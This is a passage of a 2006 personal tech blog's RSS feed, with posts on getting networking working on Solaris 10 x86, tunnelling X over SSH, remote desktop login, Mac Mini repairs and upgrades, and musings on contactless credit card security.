		<pubDate>Sun, 29 Oct 2006 16:02:23 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Solaris]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/</guid>
		<description><![CDATA[Pyxis1 was down two months ago. I decided to try to revive it last Friday. At first, I was thinking of installing either FC5 (Fedora Core 5) or Debian. On second thought, I have had enough with Linux. I am running SPARC/Solaris 9 on Pyxis2 (Sun Blade 150). I always wanted to try out Solaris [...]]]></description>
			<content:encoded><![CDATA[<p><img align="right" style="border: 0px none " src="http://adrianhoe.com/adrianhoe/images/blog/logo-solaris.jpg" />Pyxis1 was down two months ago. I decided to try to revive it last Friday. At first, I was thinking of installing either FC5 (<a href="http://fedora.redhat.com/">Fedora</a> Core 5) or <a href="http://www.us.debian.org/">Debian</a>. On second thought, I have had enough with Linux. I am running SPARC/Solaris 9 on Pyxis2 (Sun Blade 150). I always wanted to try out Solaris 10 but I don&#8217;t want to mess with the existing Solaris 9 on Pyxis2. There is a saying, &#8220;Don&#8217;t fix thing if it ain&#8217;t broken.&#8221; and I always reminded myself. Pyxis1 has provided an opportunity to try out Solaris 10. So I started to search for the CDs which I received from <a href="http://sun.com">Sun</a> Microsystems. I found it but it was quite outdated compare to the 6/06 version on Sun&#8217;s server. I immediately began downloading 6 CDs.</p>
<p>The problem with Linux is that every distro has their own way of doing things. This is pretty obvious in configuration and config files. Although all distros are based on the same kernel, yet every distro has different kernel version and variation in configurtion of their kernel and software components. Another dreadful problem is the online updates which break the integrity of Linux and software components. A few weeks after my first successful installation of FC5, I performed an online updates and it instantly broke some working components. Although my FC5 is still working, I have problem with Desktop Login, displaying .png files, and some administration applications stop working as well.</p>
<p>Solaris 10 is an excellent UNIX operating system. It is currently free. The release and Sun&#8217;s OpenSolaris has stirred some uproar in the Open Source community and IT industry as a whole. Solaris 10 is a very impressive operating system in terms of some features no other operating system can claim and some are not necessarily new, but have been implemented in an excellent way. But yet it is not perfect. An obvious example is the detection and configuration of hardware, such as NIC and sound card, are not polished.</p>
<p>It is assumed that Solaris will not be installed by novice. The installation need humongous effort and is painful. The graphical installtion is resource hungry. Without the minimum 400MB RAM, the installation resort to console installation. The installation process is not well polished as aforementioned. But I believe, the future Solaris will receive plenty of improvement if Sun is heading to Linux territory. By that time, even the faint hearted novice would be able to install Solaris effortlessly.</p>
<p>Once the installation is completed, the operating system whirs swiftly, making the its old nickname &#8220;Slowlaris&#8221; not applicable.</p>
<p>Saturday evening I began the installation. After the first installation, I could not get my networking to work. I searched for posts and articles about problems with installing Solaris 10 on x86. I thought it might be some steps which I had overlook. At night, I installed it for second time. It was getting too late and I was tired and I left the installation to go on while I went to bed. I woke up early Sunday morning to finish the installation. Again, I was still having networking problem. After reading some posts, I started my own investigation.</p>
<p>First, I found out that the Solaris installation failed to detect and to configure my NIC. It was an integrated Intel 10/100 on Compaq Evo D510 Small Form Factor PC. I performed an &#8220;ifconfig -a&#8221; and only showed the loopback.</p>
<pre><code># ifconfig -a
lo0: flags=2001000849 mtu 8232 index 1
inet 127.0.0.1 netmask ff000000
</code></pre>
<p>Next, I needed to determine if my NIC was there. So I did:</p>
<pre><code># prtconf -pv</code></pre>
<p>It returned some results and I look for &#8220;Ethernet controller&#8221;:</p>
<pre><code>Node 0x000011
assigned-addresses:  82054010.00000000.f8500000.00000000.0000100
0.81054014.00000000.00001000.00000000.00000040
reg: 00054000.00000000.00000000.00000000.00000000.02054010.0000
0000.00000000.00000000.00001000.01054014.00000000.00000000.000
00000.00000040
compatible: 'pci8086,103b.e11.12.81' + 'pci8086,103b.e11.12' +
' pcie11,12' + 'pci8086,103b.81' + '<u>pci8086,103b</u>' + 'pciclass,020000' +
'pciclass, 0200'
model:  'Ethernet controller'
power-consumption:  00000001.00000001
fast-back-to-back:
devsel-speed:  00000001
interrupts:  00000001
max-latency:  00000038
min-grant:  00000008
subsystem-vendor-id:  00000e11
subsystem-id:  00000012
unit-address:  '8'
class-code:  00020000
revision-id:  00000081
vendor-id:  00008086
device-id:  0000103b
name:  'pcie11,12'</code></pre>
<p>With this output, I was sure that I had my NIC on Pyxis1. From the identifying handle, &#8220;pci8086&#8243;, I was certain to use iprb interface for the configuration. These are the steps which I followed:</p>
<ol style="text-indent:0px;">
<li>In /etc/driver_aliases, add
<pre><code>iprb "pci8086,103b"</code></pre>
</li>
<li>Reboot the system with
<pre><code># touch /reconfigure; reboot</code></pre>
</li>
<li>Setup iprb with
<pre><code># ifconfig iprb0 plumb
# ifconfig iprb0 inet 195.168.24.4 netmask 255.255.255.0 broadcast +
# ifconfig iprb0 up</code></pre>
</li>
<li>Creeat /etc/hostname.iprb0
<pre><code># echo pyxis1 > /etc/hostname.iprb0</code></pre>
</li>
<li>In /etc/hosts, add
<pre><code>195.168.24.4     pyxis1   pyxis1</code></pre>
</li>
<li>Create two files in /etc
<pre><code># echo 195.168.24.1 > /etc/defaultrouter
# echo nameserver DNS_ip_address_1 >> /etc/resolv.conf
# echo nameserver DNS_ip_address_2 >> /etc/resolv.conf</code></pre>
</li>
<li>Edit /etc/nsswitch.conf and add dns to line
<pre><code>host:         files dns</code></pre>
</li>
<li>lastly
<pre><code># route add deafult 195.168.24.1</code></pre>
</li>
</ol>
<p>After murdering millions of brain cells, the fun finally began. I <a href="http://adrianhoe.com/adrianhoe/2006/10/12/remote-desktop-login-from-mac/">login remotely</a> from Pluto. Here are some screenshots of Solaris 10 on Pyxis1:</p>
<p align="center"><a href="http://adrianhoe.com/adrianhoe/images/blog/screenshot-solaris86-1.png"><img style="border: 0px none " alt="Solaris 10 x86" title="Solaris 10 x86" src="http://adrianhoe.com/adrianhoe/images/blog/screenshot-solaris86-1-small.png" /></a></p>
<p align="center"><a href="http://adrianhoe.com/adrianhoe/images/blog/screenshot-solaris86-2.png"><img style="border: 0px none " alt="Solaris 10 x86" title="Solaris 10 x86" src="http://adrianhoe.com/adrianhoe/images/blog/screenshot-solaris86-2-small.png" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/10/30/solaris-10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Migrated to WordPress</title>
		<link>http://adrianhoe.com/adrianhoe/2006/10/24/migrated-to-wordpress/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/10/24/migrated-to-wordpress/#comments</comments>
		<pubDate>Tue, 24 Oct 2006 14:59:46 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/10/24/migrated-to-wordpress/</guid>
		<description><![CDATA[I accidentally deleted my personal website directory two days ago. Since I had deleted the directory, I took this opportunity to redesign my personal web site during this festive season. I installed WordPress to my personal directory and migrated two blogs, Tech Grotto and Malacca&#8217;s Glog. The migration was successful. I had 94 posts in [...]]]></description>
			<content:encoded><![CDATA[<p>I accidentally deleted my personal website directory two days ago. Since I had deleted the directory, I took this opportunity to redesign my personal web site during this festive season. I installed WordPress to my personal directory and migrated two blogs, Tech Grotto and Malacca&#8217;s Glog. The migration was successful.</p>
<p>I had 94 posts in Tech Grotto which made categorizing difficult. Anyhow, I managed to categorized posts from both blogs. Later in the evening, I hacked the Water theme and WordPress PHP source to modify the Water theme and moved About and Project page to the new site.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/10/24/migrated-to-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tunnel X over SSH</title>
		<link>http://adrianhoe.com/adrianhoe/2006/10/14/tunnel-x-over-ssh/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/10/14/tunnel-x-over-ssh/#comments</comments>
		<pubDate>Sat, 14 Oct 2006 15:41:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=98</guid>
		<description><![CDATA[The drawback of Remote Desktop Login I posted 2 days ago is its slow speed. It takes a while to display the desktop login screen. Another drawback is it creates another X session at the server if you already have another running. My laziness and desire to start up applications and finish the job quickly [...]]]></description>
			<content:encoded><![CDATA[<p>The drawback of Remote Desktop Login I posted 2 days ago is its slow speed. It takes a while to display the desktop login screen. Another drawback is it creates another X session at the server if you already have another running.</p>
<p>My laziness and  desire to start up applications and finish the job quickly makes me look further into the world of remote access. This leads me to X tunneling over SSH.</p>
<p>With X tunneling over SSH, I am able to run X applications (Linux FC5) on my preferred Mac OS X desktop, Pluto. The screenshot shows that I am running KDE Control Center (Linux FC5 on triton1) on Pluto (Mac OS X).</p>
<div align="center"><a href="http://adrianhoe.com/adrianhoe/images/blog/screenshot-remote-X-application.png"><img src="http://adrianhoe.com/adrianhoe/images/blog/screenshot-small-remote-X-application.png" /></a></div>
<p>This is how I do it:</p>
<ol style="text-indent:0px;">
<li>ForwardX11 needs to be enable. Edit /etc/ssh/ssh_config. Make sure you have ForwardX11Trusted yes is enabled in ssh_config.</li>
<li>On Mac OS X, start X11. At terminal, type
<pre><code>$ ssh -X username@ip_address
</code></pre>
</li>
<li>Start any X applications you like.
</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/10/14/tunnel-x-over-ssh/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Remote Desktop Login from Mac</title>
		<link>http://adrianhoe.com/adrianhoe/2006/10/12/remote-desktop-login-from-mac/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/10/12/remote-desktop-login-from-mac/#comments</comments>
		<pubDate>Thu, 12 Oct 2006 15:06:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=96</guid>
		<description><![CDATA[Some friends told me the laziest programmer is the best and most creative programmer. When a person becomes older, he/she will become lazier. Remote Desktop Login has been out there for some time ago. I did not try it. Remote Desktop Control has been useful for me occasionally. I had a bad experience with RDC [...]]]></description>
			<content:encoded><![CDATA[<p>Some friends told me the laziest programmer is the best and most creative programmer. When a person becomes older, he/she will become lazier.</p>
<p>Remote Desktop Login has been out there for some time ago. I did not try it. Remote Desktop Control has been useful for me occasionally. I had a bad experience with RDC when my Linux server crashed in early September. I was RDC from my SPARC/Solaris workstation. I stopped using RDC since then.</p>
<p>One drawback about RDC is that I have to login before I can access the desktop remotely.</p>
<p>Because of my eye condition, I feel lazy to switch between keyboards and mice and running from one room to another. I decided to check out Remote Desktop Login. It took me a while to understand. But after I tried it out, it was pretty easy though.</p>
<p>Here&#8217;s how I do it to login to SPARC/Solaris. Launch X11 from Mac OS X then</p>
<pre><code>$ xhost +ip_address
$ Xnest :1 -query ip_address -geometry 1280x1024
</code></pre>
<p>According to some documentation, it is required to configure gdm on Linux boxes. I used the following to configure FC 5 (Fedora Core 5) box:</p>
<ol style="text-indent:0px;">
<li>Edit /etc/gdm/custom.conf</li>
<li>Add RemoteGreeter=/usr/libexec/gdmlogin to [daemon] segment</li>
<li>Under [xdmcp] segment, change the line Enable=false to Enable=true</li>
<li>Restart gdm</li>
</ol>
<div align="center"><a href="http://adrianhoe.com/adrianhoe/images/blog/screenshot-remote-solaris.png"><img src="http://adrianhoe.com/adrianhoe/images/blog/screenshot-small-remote-solaris.png" /></a></div>
<p>With Remote Desktop Login, I don&#8217;t have to login before I remotely access the PC. It has also save me some money for investing in a KVM switch. I was thinking about hooking up some of my computers with a KVM switch. It will still be a mess with all the cables despite of its pricy tag. Remote Desktop Login is the best method for me at this moment. It allow me to become lazier because I no longer need to login at computers which I want access. I can login remotely, simple!</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/10/12/remote-desktop-login-from-mac/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Jabra BT110 and Skype on Mac OS X</title>
		<link>http://adrianhoe.com/adrianhoe/2006/10/04/jabra-bt110-and-skype-on-mac-os-x/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/10/04/jabra-bt110-and-skype-on-mac-os-x/#comments</comments>
		<pubDate>Wed, 04 Oct 2006 15:23:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=91</guid>
		<description><![CDATA[I tried to pair my Bluetooth headset, Jabra BT110, on my G3 iBook a few months ago but was not successful. I was using Tiger and Skype prior to version 1.5.x. With my new Mac Mini, it does not come with a microphone and I have not been able to have audio Skype then. I [...]]]></description>
			<content:encoded><![CDATA[<p>I tried to pair my Bluetooth headset, Jabra BT110, on my G3 iBook a few months ago but was not successful. I was using Tiger and Skype prior to version 1.5.x.</p>
<p align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/jabra_bt110.jpg" style="border: 0px none ;" /></p>
<p>With my new Mac Mini, it does not come with a microphone and I have not been able to have audio Skype then. I suddenly thought of giving it a try a few minutes ago and it worked! Now, I am able to have audio Skype with friends and co-workers.</p>
<p>I am using Skype 1.5.0.80 on Mac OS X 10.4.7. Here are screenshots of my Bluetooth and Skype preference.</p>
<p align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/bluetooth_pref.png" style="border: 0px none ;" /></p>
<p align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/skype_jabra_bt110.png" style="border: 0px none ;" /></p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/10/04/jabra-bt110-and-skype-on-mac-os-x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rsync</title>
		<link>http://adrianhoe.com/adrianhoe/2006/09/17/rsync/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/09/17/rsync/#comments</comments>
		<pubDate>Sun, 17 Sep 2006 11:06:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=77</guid>
		<description><![CDATA[RsyncX is a Mac OS X GUI tool for running rsync. It is easy to use and is able to generate scripts for network backup purposes. When a backup involves works, it will most likely not be done. RsyncX can schedule and automate the entire backup tasks so that users need not to bother about [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://archive.macosxlabs.org/rsyncx/rsyncx.html"><img src="http://adrianhoe.com/adrianhoe/images/blog/RsyncX-v2-icon2.png" align="right"  style="border: 0px none ;"/></a><a href="http://archive.macosxlabs.org/rsyncx/rsyncx.html">RsyncX</a> is a Mac OS X GUI tool for running rsync. It is easy to use and is able to generate scripts for network backup purposes. When a backup involves works, it will most likely not be done. RsyncX can schedule and automate the entire backup tasks so that users need not to bother about the backup anymore.</p>
<p>I am quite new with rsync. The scripts generated by RsyncX can help me to understand how rsync works. It is a great application.</p>
<p>I&#8217;ve setup <a href="http://archive.macosxlabs.org/rsyncx/rsyncx.html">RsyncX</a> for backup of Users folders on Pluto to Nix. I usually name my computers after planetary/celestial objects. I decided to name my Mac Mini after Pluto because it has a moon called Nix (sounds like Nik). Nix is one of the two small moons of Pluto. Nix describes the 30GB (small) capacity of the HD I took out from my G3 iBook. Furthermore, Pluto is smaller than the moon of earth, hence well described the size of Mac Mini.</p>
<div align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/DSC03431s.JPG" /><br />
Here&#8217;s Uranus and Nix.
</div>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/09/17/rsync/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Memory upgrade</title>
		<link>http://adrianhoe.com/adrianhoe/2006/09/14/memory-upgrade/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/09/14/memory-upgrade/#comments</comments>
		<pubDate>Thu, 14 Sep 2006 15:07:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=74</guid>
		<description><![CDATA[I collected 2 pieces of 1GB DDR2 SDRAM from vendor this Tuesday at PJ. I decided to spend a few more days to research HOWTO open the Mac Mini to perform the memory upgrade. One of the common and recommended (by Apple) method is to use a putty knife while the other less common but [...]]]></description>
			<content:encoded><![CDATA[<p>I collected 2 pieces of 1GB DDR2 SDRAM from vendor this Tuesday at PJ. I decided to spend a few more days to research HOWTO open the Mac Mini to perform the memory upgrade. One of the common and recommended (by Apple) method is to use a putty knife while the other less common but effective method is to use network cables to hook onto the clips of Mac Mini.</p>
<p>I tried the second method this evening but found it hard to catch the clip with the wire. I finally managed to hook onto the clip but did not manage to pull the clip to a &#8220;snap&#8221;. And there is a danger to cut the hand with the wire because it is slippery.</p>
<p>I decided to get a putty knife. After my dinner and a quick bath, out I went to a nearby shopping complex to buy a putty knife. It cost me RM1.70.</p>
<p>I took less than 5 minutes to open the Mac Mini with only two insertion. After opening up the casing, I found that the internal was different from the older Mac Mini (PPC version). The memory bay was not at the side. It was hidden under the drive cage. I managed to identify four (4) screws that hold the drive cage to the chassis. I unscrewed it but did not manage to flip the drive cage out. Fortunately, I was able to hold up the drive cage at the other end and allowed my finders to slip in to unsnap the memory latches and took out the two pieces factory fitted memory. I put in the new 2 x 1GB SDRAM, put back and tighten the screws on the drive cage and then put the Mac Mini back into her casing. I used some caution when snapping the Mac Mini into the casing. It was quite easy though.</p>
<p>The entire process took only 47 minutes.</p>
<p>Born Again<br />
Although she sports a Core Duo 1.66GHz, with the default 512MB memory, she worked like a wheeze and sometimes, large applications like Acrobat Pro, iTunes 7 and Safari stopped responding.</p>
<p>I powered on and the boot up was faster. I quickly launched a few applications, like iTunes 7, Skype, Safari, Firefox, Mail, GimpShop, Acrobat Pro and NeoOffice. I could see increased speed and performance. Now my Mac Mini worked like a breeze.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/09/14/memory-upgrade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disc jammed in Mac Mini SuperDrive</title>
		<link>http://adrianhoe.com/adrianhoe/2006/09/10/disc-jammed-in-mac-mini-superdrive/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/09/10/disc-jammed-in-mac-mini-superdrive/#comments</comments>
		<pubDate>Sat, 09 Sep 2006 17:15:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=72</guid>
		<description><![CDATA[I was trying to install some software from a CD on my new Mac Mini. While the drive was reading from the disc, I could hear loud chunk from the SuperDrive. After a while, the drive went silent and I could not eject the disc. I could hear a loud noise from the drive periodically [...]]]></description>
			<content:encoded><![CDATA[<p>I was trying to install some software from a CD on my new Mac Mini. While the drive was reading from the disc, I could hear loud chunk from the SuperDrive. After a while, the drive went silent and I could not eject the disc. I could hear a loud noise from the drive periodically as the drive was trying to spit the disc out. I restarted my Mac Mini but a blank white screen appeared. My face was as pale as the screen though.</p>
<p>I searched the web and Apple&#8217;s support forum and as well as the manual. I tried holding the mouse button and F12 while restarting but failed.</p>
<p>The problem of this front-slot-loading SuperDrive of Mac Mini is that it does not have a hole to allow force ejection using a paper clip.</p>
<p>What now?</p>
<p>I inserted a plastic ruler to see if something was stuck in the drive. I discovered a spring-loaded mechanism at the right side of the drive. To my surprise, this method works!</p>
<div align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/DSC03419s.JPG" /><br />
Insert a plastic ruler an inch deep about 2-3 cm from the right side of the drive.</p>
<p><img src="http://adrianhoe.com/adrianhoe/images/blog/DSC03420s.JPG" /><br />
Gently push the ruler towards the right end and wait for the next eject attempt by the drive.
</div>
<p>Do not use force to lock the ruler into position. When you feel some resistance, withdraw the ruler and the disc will follow.</p>
<p>I found out discs with printed paper label of poor quality (thick and rough surface) will most likely jam in the drive. Good quality discs, such as from Apple, will sometime jam as well. The drive in Mac Mini is very thin. With all the electronics and mechanisms packed into a very thin drive shell, some discs of poor quality and thickness will stuck inevitably.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/09/10/disc-jammed-in-mac-mini-superdrive/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Argh! Another disaster day</title>
		<link>http://adrianhoe.com/adrianhoe/2006/09/01/argh-another-disaster-day/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/09/01/argh-another-disaster-day/#comments</comments>
		<pubDate>Fri, 01 Sep 2006 12:56:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=67</guid>
		<description><![CDATA[Sh!T On August 22, my lovely iBook died. I just brought up Pyxis1 and Pyxis2 yesterday after setting up the network for SOHO. This morning the hard disk on Pyxis1 failed! In just less than 2 weeks, I was stricken by two disasters in a row. I ran Ark to open a tar.gz file for [...]]]></description>
			<content:encoded><![CDATA[<p>Sh!T On August 22, my lovely iBook died. I just brought up Pyxis1 and Pyxis2 yesterday after setting up the network for SOHO. This morning the hard disk on Pyxis1 failed! In just less than 2 weeks, I was stricken by two disasters in a row.</p>
<p>I ran Ark to open a tar.gz file for preview via RDC (Remote Desktop Connection) from Pyxis2. Suddenly, Pyxis1 hung. I could not regain control at Pyxis1 and I forced a power down and reboot. The grub prompt showed up. I knew great problem just knocked on my door.</p>
<p>After trying to boot with grub commands:</p>
<pre><code>grub> kernel (hd0,0)/vmlinuz root=/dev/hda2 1
grub> initrd (hd0,0)/initrd
grub> boot
</code></pre>
<p>An error said that it could be hard disk failure. I ran badblocks to check the hard disk and it spat out block numbers that were affected. Here go my data in the server.</p>
<p>I have the data backup to my iBook. They are in the iBook hard disk. I will have to protect the hard disk like a precious gemstone now. Otherwise, HUGE trouble will be.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/09/01/argh-another-disaster-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OSx86 and AppleTPMACPI</title>
		<link>http://adrianhoe.com/adrianhoe/2006/08/30/osx86-and-appletpmacpi/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/08/30/osx86-and-appletpmacpi/#comments</comments>
		<pubDate>Tue, 29 Aug 2006 23:26:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=62</guid>
		<description><![CDATA[I tried to Google for OSx86 download but failed to find any sites that provide download of hack OSx86 and not even a HOWTO site. It is illegal to provide a hacked Mac OS X though. So I tried to install Mac OS X on one of my Linux box with my license copy of [...]]]></description>
			<content:encoded><![CDATA[<p>I tried to Google for OSx86 download but failed to find any sites that provide download of hack OSx86 and not even a HOWTO site. It is illegal to provide a hacked Mac OS X though.</p>
<p>So I tried to install Mac OS X on one of my Linux box with my license copy of Tiger (Universal Binary) but failed. To look for Apple TPMACPI kernel extension is like looking for a needle in a hay stack. I believe it can be found if I ake more time and look harder.</p>
<p>It can be interesting to learn how Apple implements TPM and how it works.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/08/30/osx86-and-appletpmacpi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Credit cards go RF</title>
		<link>http://adrianhoe.com/adrianhoe/2006/08/08/credit-cards-go-rf/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/08/08/credit-cards-go-rf/#comments</comments>
		<pubDate>Mon, 07 Aug 2006 16:33:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=41</guid>
		<description><![CDATA[Major credit cards like Visa and MasterCard have gone RF (Radio Frequency). The contactless smart card uses RFID (Radio Frequency Identification Device) that is fully compatible with global EMV smart card standard. No signature is required and there is no need to hand the card to the cashier &#8211; simply wave, pay and go. This [...]]]></description>
			<content:encoded><![CDATA[<p>Major credit cards like Visa and MasterCard have gone RF (Radio Frequency). The contactless smart card uses RFID (Radio Frequency Identification Device) that is fully compatible with global EMV smart card standard. No signature is required and there is no need to hand the card to the cashier &#8211; simply wave, pay and go. This RFID technology allows consumers a fast and convenient way to make payment within seconds. The world&#8217;s first Visa Wave cards are issued by MBF Cards in Malaysia and the first live transactions were made April 27 at a launch ceremony in a Delifrance restaurant outlet in the popular shopping mall at KLCC.</p>
<div align="center"><img src="http://adrianhoe.com/adrianhoe/images/blog/visawave.jpg" /></div>
<p>The contactless payment system marries together the credit cards system along with either an RFID-enabled plastic credit card or some other tagged item. When requested for payment, the cardholder can simply wave the RF credit card at a close range (4cm) from the payment reader. The antenna, a thin copper wire inside the RF credit card, then sends an RF signal, transferring information to a reader connected to the merchant&#8217;s point-of-sale terminal. The transaction is then processed through trusted payment network, as with all other conventional transactions.</p>
<p>It sure provides an easy, convenient and hassle free transactions. But the question is how reliable is this technology?</p>
<p>Someone with a tag reader can easily download your card information. It is simple. The person just has to stand near to you. He can put the tag reader in his trouser pocket and come very closely to your trouser pocket where you put your wallet. And perhaps there is even some tag reader that is able to read your card at longer distance, in this case, the person just has to sit and let everyone passes by him and his gadgets will start downloading countless number of credit cards.</p>
<p>It is just a matter of time to have a pocket sized tag reader to be built. Recently, security consultant Lukas Grunwald of German company DN-Systems demonstrated the cloning of a biometric passport.</p>
<p>I, for sure, will not want to carry RF credit cards with me.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/08/08/credit-cards-go-rf/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Am I Cyberchondria?</title>
		<link>http://adrianhoe.com/adrianhoe/2006/07/11/am-i-cyberchondria/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/07/11/am-i-cyberchondria/#comments</comments>
		<pubDate>Tue, 11 Jul 2006 05:04:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Family]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Medical]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/blog/?p=22</guid>
		<description><![CDATA[Cyberchondria is a colloquial term for hypochondria in individuals who have researched medical conditions on the internet. In my earlier post, Digital addiction, I mentioned about developed special skills using Internet to do some or any kind of research. I learned to use the Internet to learn about people&#8217;s diseases and medication 6 years ago [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Cyberchondria">Cyberchondria</a> is a colloquial term for hypochondria in individuals who have researched medical conditions on the internet.</p>
<p>In my earlier post, <a href="http://adrianhoe.com/adrianhoe/blog/2006/07/digital-addiction.html">Digital addiction</a>, I mentioned about developed special skills using Internet to do some or any kind of research. I learned to use the Internet to learn about people&#8217;s diseases and medication 6 years ago when my second elder sister, <a href="http://angiehoe.org">Angie</a>, was first diagnosed of stage-4 breast cancer.</p>
<p>I could remember that I had read about children doses for my medication on the <a href="http://xepasoul.com/pdf/cough-en.pdf">product pamphlet</a>. The drug is called <a href="http://xepasoul.com/product_ccf.php?p_id=12345692&#038;c=3">Cough-en Linctus</a> by Xepa-Soul Pattison. I gave a dose of 2.5ml to Dmitry early this morning at 0335. He had some good sleep after taking it. Cough-en is the most vile cough medicine ever created by man &#8211; it could knock out an elephant cold.</p>
<p>When I woke up this morning, I quickly searched the Internet for Cough-en and <a href="http://en.wikipedia.org/wiki/Pseudoephedrine">Pseudoephedrine</a>. I learned a lot about Pseudoephedrine and I was quite shocked about its side effects.</p>
